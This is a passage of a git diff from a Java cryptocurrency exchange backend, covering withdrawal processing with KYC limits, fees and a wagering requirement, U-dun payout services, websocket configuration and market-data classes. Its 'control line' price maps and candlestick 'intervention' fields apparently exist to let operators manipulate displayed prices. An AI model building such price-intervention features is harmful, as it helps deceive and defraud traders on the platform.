+// if (Objects.isNull(currencyPrice)){ +// return MessageUtils.message("withdraw_error_rate"); +// }else{ +// currencyPrice = BigDecimal.ONE.divide(currencyPrice); +// } +// } +// amountHs = amount.multiply(currencyPrice); +// } + + if (Boolean.TRUE.equals(authLimitSetting.getIsOpenPrimary())) { + //初级限额 开启 + //初级限额 额度 + BigDecimal primaryLimit = (authLimitSetting.getPrimaryLimit() == null ? BigDecimal.ZERO : authLimitSetting.getPrimaryLimit()); + if (null == tAppUserDetail.getAuditStatusPrimary() || !AuditStatusEnum.EXAMINATION_PASSED.getCode().equals(tAppUserDetail.getAuditStatusPrimary())) { + //未初级认证 或者认证不通过 + if (amountHs.compareTo(primaryLimit) > 0) { + flag = false; + } + } + } + if (Boolean.TRUE.equals(authLimitSetting.getIsOpenSenior())) { + //高级限额 开启 + //已初级认证 高级认证 + BigDecimal seniorLimit = (authLimitSetting.getSeniorLimit() == null ? BigDecimal.ZERO : authLimitSetting.getSeniorLimit()); + if (null == tAppUserDetail.getAuditStatusAdvanced() || !AuditStatusEnum.EXAMINATION_PASSED.getCode().equals(tAppUserDetail.getAuditStatusAdvanced())) { + //已初级认证 高级认证不通过 + if (amountHs.compareTo(seniorLimit) > 0) { + flag = false; + } + } + } + //初级认证 高级认证 都认证 + if (null != tAppUserDetail.getAuditStatusPrimary() && null != tAppUserDetail.getAuditStatusAdvanced() && AuditStatusEnum.EXAMINATION_PASSED.getCode().equals(tAppUserDetail.getAuditStatusAdvanced()) && AuditStatusEnum.EXAMINATION_PASSED.getCode().equals(tAppUserDetail.getAuditStatusPrimary())) { + flag = true; + } + } + } + if (!flag) { + return MessageUtils.message("withdraw.kyc.error"); + } + if (StringUtils.isEmpty(tAppUserDetail.getUserTardPwd())) { + return MessageUtils.message("user.password_notbind"); + } + //增加密码校验 + if (!SecurityUtils.matchesPassword(pwd, tAppUserDetail.getUserTardPwd())) { + return MessageUtils.message("tard_password.error"); + } + Setting setting = settingService.get(SettingEnum.WITHDRAWAL_CHANNEL_SETTING.name()); + TRechargeChannelSetting set = null; + List tRechargeChannelSettings = JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), TRechargeChannelSetting.class); + for (TRechargeChannelSetting tRechargeChannelSetting : tRechargeChannelSettings) { + if (tRechargeChannelSetting.getRechargeName().equals(coinType)) { + set = tRechargeChannelSetting; + break; + } + } + if (set == null) { + return MessageUtils.message("withdraw_error"); + } + //当日提现次数 + int num = set.getDayWithdrawalNum(); + String today = DateUtil.today(); + Integer integer = this.baseMapper.selectCount(new LambdaQueryWrapper().eq(TWithdraw::getUserId, user.getUserId()).ge(TWithdraw::getCreateTime, today)); + if (integer >= num) { + return MessageUtils.message("withdraw.amount_number_exceed"); + } + + //系统免费次数 + int sysFreeNum = set.getFreeNum(); + boolean isFree = false; + if (sysFreeNum > integer) { + + isFree = true; + redisCache.setCacheObject(CacheConstants.WITHDRAW + today + ":" + user.getUserId(), integer + 1); + } + BigDecimal lowest = set.getWithdrawalMix(); + BigDecimal high = set.getWithdrawalMax(); + //提现比例 + BigDecimal ratio = BigDecimal.ZERO; + //固定提现手续费 + BigDecimal fixedFee = BigDecimal.ZERO; + BigDecimal fee = BigDecimal.ZERO; + BigDecimal beforeMount = BigDecimal.ZERO; + String remark = coinType + "提现"; + + if (!isFree) { + ratio = set.getRatio(); + fixedFee = set.getFee(); + // 新增字段 fixedFee 可能没有 没有的话默认未0 + if (fixedFee == null) { + fixedFee = BigDecimal.ZERO; + } + } + //U提现 + //不能超过钱包 + String finalCoin = coin; + BigDecimal finalamount = amount; + BigDecimal price = null; + TAppAsset appAsset = assetMap.get(coin + user.getUserId()); + if (Objects.isNull(appAsset)) { + AtomicReference flg = new AtomicReference<>(false); + List backCoinList = sysDictTypeService.selectDictDataByType("t_bank_coin"); + if (!CollectionUtils.isEmpty(backCoinList)){ + backCoinList.stream().forEach(a ->{ + if (a.getDictValue().equals(finalCoin)){ + flg.set(true); + } + }); + if (flg.get()){ + price = coin.toUpperCase().equals("USD")?BigDecimal.ONE:redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + coin.toUpperCase() + "USD"); + if (Objects.isNull(price)){ + price = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + "USD"+coin.toUpperCase()); + if (Objects.isNull(price)){ + return MessageUtils.message("withdraw_error_rate"); + }else{ + coin = "usdt"; + finalamount = amount.multiply(price); + appAsset = assetMap.get(coin + user.getUserId()); + } + }else{ + coin = "usdt"; + finalamount = amount.multiply(BigDecimal.ONE.divide(price,6, RoundingMode.DOWN)); + appAsset = assetMap.get(coin + user.getUserId()); + } + }else{ + return MessageUtils.message("withdraw_error_coin"); + } + } + } + log.info("用户钱包:{}",appAsset.toString()); + if (Objects.isNull(appAsset)) { + return MessageUtils.message("withdraw_error"); + } + //最小效验 + if (appAsset.getAvailableAmount().compareTo(amount) < 0 || amount.compareTo(lowest) < 0) { + return MessageUtils.message("withdraw.amount_error"); + } + //超过最大值 + if (amount.compareTo(high) > 0) { + return MessageUtils.message("withdraw.amount_error"); + } + + beforeMount = appAsset.getAvailableAmount(); + if (appAsset.getAvailableAmount().compareTo(amount) < 0) { + return MessageUtils.message("withdraw_error"); + } + + //提现打码设置 + Setting addMosaicSetting = settingService.get(SettingEnum.ADD_MOSAIC_SETTING.name()); + if (Objects.nonNull(addMosaicSetting)) { + AddMosaicSetting addMosaic = JSONUtil.toBean(addMosaicSetting.getSettingValue(), AddMosaicSetting.class); + if (Objects.nonNull(addMosaic) && Objects.nonNull(addMosaic.getIsOpen()) + && addMosaic.getIsOpen()) { + if (Objects.isNull(user.getRechargeAmont())) user.setRechargeAmont(BigDecimal.ZERO); + if (user.getTotleAmont().compareTo(user.getRechargeAmont()) < 0) { + return MessageUtils.message("withdraw_require_error"); + } + } + } + + + TWithdraw withdraw = new TWithdraw(); + withdraw.setAmount(amount); + withdraw.setReceiptAmount(finalamount); + + withdraw.setCoin(coin); + withdraw.setReceiptCoin(finalCoin); + + withdraw.setType(coinType); + withdraw.setStatus(0); + withdraw.setUserId(user.getUserId()); + withdraw.setUsername(user.getLoginName()); + withdraw.setAddress(user.getAddress()); + Date now = new Date(); + withdraw.setUpdateTime(now); + withdraw.setCreateTime(now); + withdraw.setCreateBy(user.getLoginName()); + withdraw.setRatio(ratio); + withdraw.setFixedFee(fixedFee); + withdraw.setToAdress(adress); + + fee = amount.multiply(ratio).divide(new BigDecimal(100)).add(fixedFee); + BigDecimal realAmount = amount.subtract(fee); + if (Objects.nonNull(price)){ + BigDecimal receiptRealAmount = finalamount.subtract(fee.multiply(price)); + withdraw.setReceiptRealAmount(receiptRealAmount); + withdraw.setExchangeRate(price); + }else{ + withdraw.setReceiptRealAmount(realAmount); + withdraw.setExchangeRate(BigDecimal.ONE); + } + withdraw.setFee(fee); + withdraw.setNoticeFlag(0); + withdraw.setRealAmount(realAmount); + String serialId = "P" + OrderUtils.generateOrderNum(); + withdraw.setSerialId(serialId); + withdraw.setAdminParentIds(user.getAdminParentIds()); + //增加对应u.btc,eth余额 + if (redisCache.tryLock("app:wallet:" + user.getUserId(), user.getUserId(), 1000)) { + tAppAssetService.updateTAppAsset( + TAppAsset.builder() + .symbol(coin) + .userId(user.getUserId()) + .amout(appAsset.getAmout().subtract(amount)) + .availableAmount(appAsset.getAvailableAmount().subtract(amount)) + .type(AssetEnum.PLATFORM_ASSETS.getCode()) + .build()); + tWithdrawMapper.insertTWithdraw(withdraw); + //发起提现则扣钱 + appWalletRecordService.generateRecord(user.getUserId(), amount, RecordEnum.WITHDRAW.getCode(), user.getLoginName(), withdraw.getSerialId(), remark, beforeMount, beforeMount.subtract(amount), coin, user.getAdminParentIds()); + //打码量归零 充值打码归零 + TAppUser tAppUser = new TAppUser(); + tAppUser.setUserId(user.getUserId()); + tAppUser.setRechargeAmont(BigDecimal.ZERO); + tAppUser.setTotleAmont(BigDecimal.ZERO); + tAppUserMapper.updateById(tAppUser); + //socket 通知后台 + HashMap object = new HashMap<>(); + object.put(CacheConstants.WITHDRAW_KEY_BOT, JSON.toJSONString(withdraw)); + redisUtil.addStream(redisStreamNames, object); + return null; + } else { + log.error("提现钱包锁定, userId:{}, amount:{}", user.getUserId(), amount); + return MessageUtils.message("withdraw.refresh"); + } + } + + + @Transactional(rollbackFor = {Exception.class}) + @Override + public String rejectOrder(TWithdraw wi) { + try { + TWithdraw withdraw =this.getOne(new LambdaQueryWrapper().eq(TWithdraw::getId, wi.getId())); + if(!redisCache.tryLock(wi.getWithdrawId()+"rejectOrder","rejectOrder",3000)){ + return "订单已操作"; + } + + + if(withdraw.getStatus()==2){ + return "订单已操作"; + } + + + if (!withdraw.getUpdateBy().equals("系统回收") & !SysUser.isAdmin(SecurityUtils.getUserId()) + & !withdraw.getUpdateBy().equals(SecurityUtils.getUsername())) { + return "订单已经被别人锁定"; + } + BigDecimal amount = withdraw.getAmount(); + String coin = withdraw.getCoin(); + TAppUser user = tAppUserMapper.selectTAppUserByUserId(withdraw.getUserId()); + //资产 + Map map = tAppAssetService.getAssetByUserIdList(withdraw.getUserId()); + TAppAsset asset = map.get(withdraw.getCoin() + user.getUserId()); + BigDecimal beforeMount = asset.getAvailableAmount(); + + Setting setting = settingService.get(SettingEnum.WITHDRAWAL_CHANNEL_SETTING.name()); + TRechargeChannelSetting set = new TRechargeChannelSetting(); + List tRechargeChannelSettings = JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), TRechargeChannelSetting.class); + for (TRechargeChannelSetting tRechargeChannelSetting : tRechargeChannelSettings) { + if (tRechargeChannelSetting.getRechargeType().equals(coin)) { + set = tRechargeChannelSetting; + break; + } + } + String remark = set.getRechargeName() + "提现"; + log.debug("提现前amout ,可用余额,userId {}-{} {}", beforeMount, asset.getAvailableAmount(), user.getUserId()); + if (redisCache.tryLock("app:wallet:" + withdraw.getUserId() + ":" + withdraw.getId(), withdraw.getUserId(), + 1000)) { + asset.setAmout(asset.getAmout().add(amount)); + asset.setAvailableAmount(beforeMount.add(amount)); + tAppAssetService.updateByUserId(asset); + + withdraw.setStatus(2); + withdraw.setUpdateBy(SecurityUtils.getUsername()); + withdraw.setWithDrawRemark(wi.getWithDrawRemark()); + withdraw.setRemark(wi.getRemark()); + withdraw.setOperateTime(new Date()); + this.updateTWithdraw(withdraw); + appWalletRecordService.generateRecord(withdraw.getUserId(), amount, RecordEnum.WITHDRAWAL_FAILED.getCode(), + SecurityUtils.getUsername(), withdraw.getSerialId(), remark, beforeMount, + beforeMount.add(amount), coin, user.getAdminParentIds()); + log.debug("账变前amout ,账变后 ,userId {}-{} {}", beforeMount, beforeMount.add(amount), user.getUserId()); + return "成功"; + } else { + return "操作失败,请刷新"; + } + } catch (Exception e) { + TransactionAspectSupport.currentTransactionStatus().setRollbackOnly(); + return "操作失败,请刷新"; + } finally { + redisCache.deleteObject(wi.getWithdrawId()+"rejectOrder"); + } + } + + @Override + public NoticeVO sendMessage(Integer code, String userId) { + NoticeVO noticeVO = new NoticeVO(); + userId = userId.split("_")[0]; + SysUser user = sysUserService.selectUserById(Long.parseLong(userId)); + if (user.isAdmin() || "0".equals(user.getUserType())) { + userId = ""; + } + Map map = new HashMap<>(); + //查找待审核的提现订单 + List list = this.getBaseMapper().selectTWithdrawVoice(userId); + + //查找待审核的充值订单 + List list1 = appRechargeService.selectRechargeVoice(userId); + + //查找待审核实名认证 + List list2 = tAppUserDetailMapper.selectVerifiedVoice(userId); + + if (0 == code) { + noticeVO.setWithdraw(null == list ? 0 : list.size()); + noticeVO.setRecharge(null == list1 ? 0 : list1.size()); + noticeVO.setVerified(null == list2 ? 0 : list2.size()); + return noticeVO; + } + if (1 == code) { + noticeVO.setWithdraw(null == list ? 0 : list.size()); + return noticeVO; + } + if (2 == code) { + noticeVO.setRecharge(null == list1 ? 0 : list1.size()); + return noticeVO; + } + if (3 == code) { + noticeVO.setVerified(null == list2 ? 0 : list2.size()); + return noticeVO; + } + if (4 == code) { + noticeVO.setPosition(1); + return noticeVO; + } + return noticeVO; + } + + @Override + public BigDecimal getAllWithdraw(String parentId, Integer type) { + return tWithdrawMapper.getAllWithdraw(parentId, type); + } + + @Override + public List selectFreezeList(TWithdraw appWithdraw) { + return tWithdrawMapper.selectFreezeList(appWithdraw); + } + + @Override + public Boolean getWithdrawStatus(long loginIdAsLong) { + Integer integer = tWithdrawMapper.getCountByUserId(loginIdAsLong); + return integer>0; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/UncPayOutServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/UncPayOutServiceImpl.java new file mode 100644 index 0000000..13643a2 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/UncPayOutServiceImpl.java @@ -0,0 +1,94 @@ +package com.ruoyi.bussiness.service.impl; + + +import com.alibaba.fastjson.JSONObject; +import com.ruoyi.bussiness.domain.TWithdraw; +import com.ruoyi.bussiness.domain.setting.ThirdPaySetting; +import com.ruoyi.bussiness.service.ThirdPayOutService; +import com.ruoyi.common.enums.WithdrawTypeUncEmun; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.udun.client.UdunClient; +import com.ruoyi.udun.domain.Coin; +import com.ruoyi.udun.domain.ResultMsg; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Service; +import org.springframework.util.CollectionUtils; +import java.math.BigDecimal; +import java.util.List; +import java.util.Objects; + +@Service +@Slf4j +public class UncPayOutServiceImpl implements ThirdPayOutService { + + @Override + public String getName() { + return "unc"; + } + + @Override + public JSONObject payOut(TWithdraw withdraw, ThirdPaySetting setting) { + JSONObject jsonObject = new JSONObject(); + try { + UdunClient udunClient = new UdunClient(setting.getUrl(), + setting.getMechId(), + setting.getKey(), + setting.getReturnUrl()); + //查询支持的币种 + String type = withdraw.getType(); + + String orderNo = withdraw.getSerialId(); + + BigDecimal amount = withdraw.getRealAmount(); + + String toAdress = withdraw.getToAdress(); + String name = WithdrawTypeUncEmun.getValue(type); + if (StringUtils.isEmpty(name)) { + log.info("unc 类型" + name); + + return null; + } + Coin coin1 = checkWithByName(udunClient, name); + if (Objects.isNull(coin1)) { + log.info("unc 支持币种" + type); + return null; + } + ResultMsg resultMsg = udunClient.withdraw(toAdress, amount, coin1.getMainCoinType(), coin1.getCoinType(), orderNo, null); + if (resultMsg.getCode() == 200) { + jsonObject.put("code",200); + jsonObject.put("message", resultMsg.getMessage()); + }else { + log.error("undu, resultMsg:{}", resultMsg); + jsonObject.put("code", resultMsg.getCode()); + jsonObject.put("message", resultMsg.getMessage()); + } + } catch (Exception e) { + e.printStackTrace(); + jsonObject.put("code", 10002); + jsonObject.put("message", "U盾提现接口异常"); + } + return jsonObject; + } + + + private Coin checkWithByName(UdunClient udunClient, String name) { + Coin f = null; + name = name.toUpperCase(); + try { + List coinList = udunClient.listSupportCoin(false); + if (!CollectionUtils.isEmpty(coinList)) { + for (Coin coin1 : coinList) { + String name1 = coin1.getName(); + if (name.equals(name1)) { + f = coin1; + break; + } + } + } + } catch (Exception e) { + e.printStackTrace(); + } + return f; + } + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/UncPayServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/UncPayServiceImpl.java new file mode 100644 index 0000000..5b1117e --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/UncPayServiceImpl.java @@ -0,0 +1,68 @@ +package com.ruoyi.bussiness.service.impl; + + +import com.alibaba.fastjson.JSONObject; +import com.ruoyi.bussiness.domain.TAppRecharge; +import com.ruoyi.bussiness.domain.setting.ThirdPaySetting; +import com.ruoyi.bussiness.service.ThirdPayService; +import com.ruoyi.common.enums.RechargeTypeUncEmun; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.udun.client.UdunClient; +import com.ruoyi.udun.domain.Address; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Service; +import java.util.Objects; + +@Service +@Slf4j +public class UncPayServiceImpl implements ThirdPayService { + + +// private static final String MECHID="314177"; +// +// public static final String CALLURL = "https://api.rxcecoin.com/api/recall/withdraw/unc"; + + @Override + public String getName() { + return "unc"; + } + + @Override + public JSONObject pay(TAppRecharge recharge, ThirdPaySetting setting) { + + + + return null; + } + + @Override + public JSONObject createAdress(String coin, String symbol, Long userId,ThirdPaySetting setting) { + JSONObject jsonObject=new JSONObject(); + UdunClient udunClient = new UdunClient(setting.getUrl(), + setting.getMechId(), + setting.getKey(), + setting.getReturnUrl()); + String value = RechargeTypeUncEmun.getValue(symbol); + if (StringUtils.isEmpty(value)) { + return jsonObject; + } + Address address = udunClient.createAddress(value); + if(!Objects.isNull(address)){ + jsonObject.put("adress",address.getAddress()); + } + return jsonObject; + } + + @Override + public boolean existAdress(String symbol, String adress, ThirdPaySetting setting) { + UdunClient udunClient = new UdunClient(setting.getUrl(), + setting.getMechId(), + setting.getKey(), + setting.getReturnUrl()); + String value = RechargeTypeUncEmun.getValue(symbol); + if (StringUtils.isEmpty(value)) { + return false; + } + return udunClient.existAdress(value,adress); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/config/KLoader.java b/ruoyi-system/src/main/java/com/ruoyi/socket/config/KLoader.java new file mode 100644 index 0000000..44f1972 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/config/KLoader.java @@ -0,0 +1,20 @@ +package com.ruoyi.socket.config; + +import java.math.BigDecimal; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; + +public class KLoader { + //控线币种 + public static Map BOT_MAP =new ConcurrentHashMap<>(); + //控线实时价格 + public static Map BOT_PRICE = new ConcurrentHashMap<>(); + //控线时间控制map + public static Map BOT_TIME_MAP =new ConcurrentHashMap<>(); + //控线最高最低价格控制map + public static Map> BOT_PRICE_MAP = new ConcurrentHashMap<>(); + //跟随型 key 是 交易对 value 的map是 key是时间戳 arrayList是价格 + public static Map OPEN_PRICE = new ConcurrentHashMap<>(); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/config/SocketThreadPoolTaskConfig.java b/ruoyi-system/src/main/java/com/ruoyi/socket/config/SocketThreadPoolTaskConfig.java new file mode 100644 index 0000000..d866235 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/config/SocketThreadPoolTaskConfig.java @@ -0,0 +1,52 @@ +package com.ruoyi.socket.config; + +import java.util.concurrent.ThreadPoolExecutor; + +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.scheduling.annotation.EnableAsync; +import org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor; + +/** + * 线程池配置 + * @author zhh + * + */ +@Configuration +@EnableAsync +public class SocketThreadPoolTaskConfig { + +/** + * 默认情况下,在创建了线程池后,线程池中的线程数为0,当有任务来之后,就会创建一个线程去执行任务, + * 当线程池中的线程数目达到corePoolSize后,就会把到达的任务放到缓存队列当中; + * 当队列满了,就继续创建线程,当线程数量大于等于maxPoolSize后,开始使用拒绝策略拒绝 + */ + + /** 核心线程数(默认线程数) */ + private static final int corePoolSize = 50; + /** 最大线程数 */ + private static final int maxPoolSize = 200; + /** 允许线程空闲时间(单位:默认为秒) */ + private static final int keepAliveTime = 10; + /** 缓冲队列大小 */ + private static final int queueCapacity = 200; + /** 线程池名前缀 */ + private static final String threadNamePrefix = "Async-Service-"; + + @Bean("socketThread") // bean的名称,默认为首字母小写的方法名 + public ThreadPoolTaskExecutor taskExecutor(){ + ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor(); + executor.setCorePoolSize(corePoolSize); + executor.setMaxPoolSize(maxPoolSize); + executor.setQueueCapacity(queueCapacity); + executor.setKeepAliveSeconds(keepAliveTime); + executor.setThreadNamePrefix(threadNamePrefix); + + // 线程池对拒绝任务的处理策略 + // CallerRunsPolicy:由调用线程(提交任务的线程)处理该任务 + executor.setRejectedExecutionHandler(new ThreadPoolExecutor.CallerRunsPolicy()); + // 初始化 + executor.initialize(); + return executor; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/config/WebSocketConfig.java b/ruoyi-system/src/main/java/com/ruoyi/socket/config/WebSocketConfig.java new file mode 100644 index 0000000..1f17a3d --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/config/WebSocketConfig.java @@ -0,0 +1,46 @@ +package com.ruoyi.socket.config; + +import com.ruoyi.bussiness.service.ITOwnCoinService; +import com.ruoyi.bussiness.service.ITWithdrawService; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.socket.manager.WebSocketUserManager; + +import com.ruoyi.socket.socketserver.WebSocketCoinOver; +import com.ruoyi.socket.socketserver.WebSocketNotice; +import com.ruoyi.socket.socketserver.WebSocketServers; +import com.ruoyi.socket.socketserver.WebSocketSubCoins; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + + +@Configuration +public class WebSocketConfig { + @Autowired + RedisCache redisCache; + @Autowired + WebSocketServers webSocketServers; + @Autowired + WebSocketUserManager webSocketConfig; + @Autowired + WebSocketNotice webSocketNotice; + @Autowired + WebSocketCoinOver webSocketCoinOver; + @Autowired + WebSocketSubCoins webSocketSubCoins; + @Autowired + ITWithdrawService withdrawService; + @Autowired + ITOwnCoinService tOwnCoinService; + /** + * 这个bean会自动注册使用了@ServerEndpoint注解声明的对象 + * @return + */ + @Bean + public void webSocketHandler() { + webSocketServers.setWebSocketServers(redisCache,webSocketConfig); + webSocketNotice.setWebSocketServers(redisCache,withdrawService); + webSocketCoinOver.setWebSocketServers(redisCache); + webSocketSubCoins.setWebSocketServers(redisCache,tOwnCoinService); + } +} \ No newline at end of file diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/constants/SocketTypeConstants.java b/ruoyi-system/src/main/java/com/ruoyi/socket/constants/SocketTypeConstants.java new file mode 100644 index 0000000..b84ece8 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/constants/SocketTypeConstants.java @@ -0,0 +1,34 @@ +package com.ruoyi.socket.constants; + +/** + * socket 常量 + */ +public class SocketTypeConstants +{ + + /** + * 心跳 + */ + public static final String HEARTBEAT = "HEARTBEAT"; + + /** + * 结算 + */ + public static final String SETTLEMENT = "SETTLEMENT"; + + /** + * 持仓结算 + */ + public static final String POSITION = "POSITION"; + + /** + * 用户账号冻结 + */ + public static final String USER_STATUS = "USER_STATUS"; + + /** + * 申购 + */ + public static final String OWN_COIN = "OWNCOIN"; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/dto/BinanceDTO.java b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/BinanceDTO.java new file mode 100644 index 0000000..5a7da63 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/BinanceDTO.java @@ -0,0 +1,11 @@ +package com.ruoyi.socket.dto; + +import com.huobi.wss.event.MarketKLineSubResponse; +import lombok.Data; + +@Data +public class BinanceDTO { + private String ch; + private Long ts; + private Object tick; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/dto/DetailTickBean.java b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/DetailTickBean.java new file mode 100644 index 0000000..f69051b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/DetailTickBean.java @@ -0,0 +1,17 @@ +package com.ruoyi.socket.dto; + +import lombok.Data; + +import java.math.BigDecimal; +@Data +public class DetailTickBean { + private Long id; + private Long mrid; + private BigDecimal open; + private BigDecimal close; + private BigDecimal high; + private BigDecimal low; + private BigDecimal amount; + private BigDecimal vol; + private BigDecimal count; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/dto/KlineTickBean.java b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/KlineTickBean.java new file mode 100644 index 0000000..133a86a --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/KlineTickBean.java @@ -0,0 +1,20 @@ +package com.ruoyi.socket.dto; + +import lombok.Data; + +import java.math.BigDecimal; +@Data +public class KlineTickBean { + private Long id; + private BigDecimal mrid; + private BigDecimal vol; + private BigDecimal count; + private BigDecimal open; + private BigDecimal close; + private BigDecimal low; + private BigDecimal high; + private BigDecimal amount; + private Boolean intervention; + private BigDecimal conPrice; + private Long conTime; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/dto/MessageVo.java b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/MessageVo.java new file mode 100644 index 0000000..f4c1179 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/MessageVo.java @@ -0,0 +1,9 @@ +package com.ruoyi.socket.dto; + +import lombok.Data; + +@Data +public class MessageVo { + String message; + String code ; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/dto/NoticeVO.java b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/NoticeVO.java new file mode 100644 index 0000000..75b87a0 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/NoticeVO.java @@ -0,0 +1,13 @@ +package com.ruoyi.socket.dto; + +import lombok.Data; + +@Data +public class NoticeVO { + + private Integer withdraw; + private Integer recharge; + private Integer verified; + private Integer position; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/dto/SocketDto.java b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/SocketDto.java new file mode 100644 index 0000000..3548daa --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/SocketDto.java @@ -0,0 +1,10 @@ +package com.ruoyi.socket.dto; + +import lombok.Data; + +@Data +public class SocketDto { + //是否是json 0 不是 1是 + private String type; + private String message; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/dto/SocketMessageVo.java b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/SocketMessageVo.java new file mode 100644 index 0000000..63ffce5 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/SocketMessageVo.java @@ -0,0 +1,10 @@ +package com.ruoyi.socket.dto; + +import lombok.Data; + +@Data +public class SocketMessageVo { + + String type; + MessageVo date; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/dto/TradeDataBean.java b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/TradeDataBean.java new file mode 100644 index 0000000..224eec4 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/TradeDataBean.java @@ -0,0 +1,13 @@ +package com.ruoyi.socket.dto; + +import lombok.Data; + +import java.math.BigDecimal; +@Data +public class TradeDataBean { + private BigDecimal amount; + private Long ts; + private Long id; + private BigDecimal price; + private String direction; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/dto/TradeTickBean.java b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/TradeTickBean.java new file mode 100644 index 0000000..0926b6a --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/TradeTickBean.java @@ -0,0 +1,11 @@ +package com.ruoyi.socket.dto; + +import lombok.Data; + +import java.util.List; +@Data +public class TradeTickBean { + private Long id; + private Long ts; + private List data; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/dto/WsCoinSubVO.java b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/WsCoinSubVO.java new file mode 100644 index 0000000..56494c0 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/WsCoinSubVO.java @@ -0,0 +1,19 @@ +package com.ruoyi.socket.dto; + +import lombok.Data; + +import java.math.BigDecimal; + +@Data +public class WsCoinSubVO { + + private Long userId; + private String subscribeId; + private Long ownId; + private String ownCoin; + private BigDecimal amountLimit; + private Long numLimit; + private BigDecimal price; + private String status; + private String msg; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/dto/WsSubBO.java b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/WsSubBO.java new file mode 100644 index 0000000..0b99306 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/WsSubBO.java @@ -0,0 +1,15 @@ +package com.ruoyi.socket.dto; + +import lombok.Data; + +@Data +public class WsSubBO { + //消息订阅类型 订阅 -subscribe 取消订阅-unsubscribe + private String op; + //订阅消息 规则:DETAIL TRADE KLINE + private String type; + //币种 + private String symbol; + private String userId; + private String interval; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/dto/WsVO.java b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/WsVO.java new file mode 100644 index 0000000..3e9b155 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/WsVO.java @@ -0,0 +1,11 @@ +package com.ruoyi.socket.dto; + +import lombok.Data; + +@Data +public class WsVO { + //trade kline detail + private String type; + private String symbol; + private Object data; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/manager/BianaceWebSocketClient.java b/ruoyi-system/src/main/java/com/ruoyi/socket/manager/BianaceWebSocketClient.java new file mode 100644 index 0000000..048e1b1 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/manager/BianaceWebSocketClient.java @@ -0,0 +1,639 @@ +package com.ruoyi.socket.manager; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.Iterator; +import java.util.Map; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.binance.connector.client.WebSocketStreamClient; +import com.binance.connector.client.enums.DefaultUrls; +import com.binance.connector.client.exceptions.BinanceConnectorException; +import com.binance.connector.client.utils.ParameterChecker; +import com.binance.connector.client.utils.RequestBuilder; +import com.binance.connector.client.utils.UrlBuilder; +import 